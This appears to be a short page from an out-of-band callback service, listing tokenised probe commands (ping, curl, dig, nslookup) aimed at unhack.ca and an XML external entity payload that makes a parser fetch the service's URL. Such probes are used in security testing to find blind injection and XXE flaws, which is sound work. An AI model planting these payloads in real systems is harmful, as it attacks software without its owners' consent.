$ ping -c1 -p 008bf76daffc2de5bf0c8bb21fb4ab00 unhack.ca
 

$ curl http://unhack.ca/p/8bf76daffc2de5bf0c8bb21fb4ab
 

$ dig 8bf76daffc2de5bf0c8bb21fb4ab @unhack.ca
 

$ dig 8bf76daffc2de5bf0c8bb21fb4ab.ns.unhack.ca
 

C:\> nslookup 8bf76daffc2de5bf0c8bb21fb4ab unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8bf76daffc2de5bf0c8bb21fb4ab">]>
    <foo>&xxe;</foo>